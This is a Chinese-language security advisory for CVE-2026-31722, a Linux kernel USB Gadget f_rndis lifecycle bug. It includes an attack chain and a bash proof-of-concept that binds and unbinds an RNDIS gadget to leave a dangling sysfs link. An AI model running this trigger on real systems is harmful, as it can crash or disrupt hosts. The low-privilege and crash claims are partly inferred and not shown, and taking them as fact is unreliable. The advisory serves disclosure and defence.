IPBUF安全漏洞报告
English
CVE-2026-31722 CVSS 5.5 中危

CVE-2026-31722 Linux内核USB Gadget设备生命周期漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31722
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB GadgetDoSLocalLogic Error

漏洞概述

Linux内核USB Gadget子系统的f_rndis驱动存在安全漏洞。该漏洞源于net_device生命周期管理不当,在设备解绑时,gadget父设备销毁导致net_device残留,产生悬空sysfs符号链接。本地低权限攻击者可利用此问题触发内核异常,导致系统崩溃或拒绝服务。

技术细节

该漏洞源于Linux内核USB Gadget子系统中f_rndis驱动的net_device生命周期管理逻辑缺陷。在USB gadget设备的正常生命周期中,net_device在实例创建时分配,并在绑定时注册,其sysfs父节点指向gadget设备。当驱动执行unbind操作时,gadget父设备被先行销毁,但net_device对象并未被同步清理或迁移父节点。这导致/sys/class/net/路径下保留了指向已销毁设备的符号链接,形成悬空指针。攻击者仅需本地低权限即可通过配置和移除USB gadget来触发该流程。由于CVSS向量显示可用性影响为高(A:H),这种悬空引用会导致内核在后续操作中访问无效内存区域,进而引发系统崩溃或拒绝服务。修复方案通过引入device_move()函数,在unbind前将net_device重新挂载到virtual设备树,从而保证设备拓扑的正确性和电源管理的顺序。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限账户访问权限 (AV:L/PR:L)。
STEP 2
步骤2
攻击者加载USB Gadget驱动并配置f_rndis功能,触发bind操作。
STEP 3
步骤3
攻击者执行unbind操作(如移除gadget配置),导致父设备销毁而net_device残留。
STEP 4
步骤4
系统试图访问悬空的sysfs链接或无效内存,导致内核崩溃或服务拒绝 (A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-31722: Trigger dangling sysfs symlink in f_rndis # This script configures a USB gadget with RNDIS and triggers the unbind phase. modprobe libcomposite modprobe usb_f_rndis mkdir -p /sys/kernel/config/usb_gadget/g1 cd /sys/kernel/config/usb_gadget/g1 echo 0x1d6b > idVendor echo 0x0104 > idProduct mkdir -p strings/0x409 echo "1234567890" > strings/0x409/serialnumber echo "PoC" > strings/0x409/manufacturer echo "CVE-2026-31722" > strings/0x409/product mkdir -p functions/rndis.usb0 # Create config mkdir -p configs/c.1/strings/0x409 echo "Conf1" > configs/c.1/strings/0x409/configuration ln -s functions/rndis.usb0 configs/c.1/ # Find a UDC (USB Device Controller) UDC=$(ls /sys/class/udc | head -n 1) if [ -n "$UDC" ]; then echo "[*] Binding to $UDC" echo $UDC > UDC sleep 2 echo "[*] Unbinding to trigger vulnerability..." echo "" > UDC # This triggers the unbind where the bug occurs echo "[*] Check /sys/class/net/usb0 for dangling link" ls -l /sys/class/net/usb0 2>/dev/null || echo "Interface removed or error occurred" else echo "[!] No UDC available to test" fi # Cleanup cd / rm -rf /sys/kernel/config/usb_gadget/g1

影响范围

Linux Kernel < Commit 18ada801899f2b13ef0ceff42427ad980a41e619

防御指南

临时缓解措施
限制非特权用户对内核模块加载及configfs的访问权限,或在受影响系统上暂时禁用USB Gadget功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表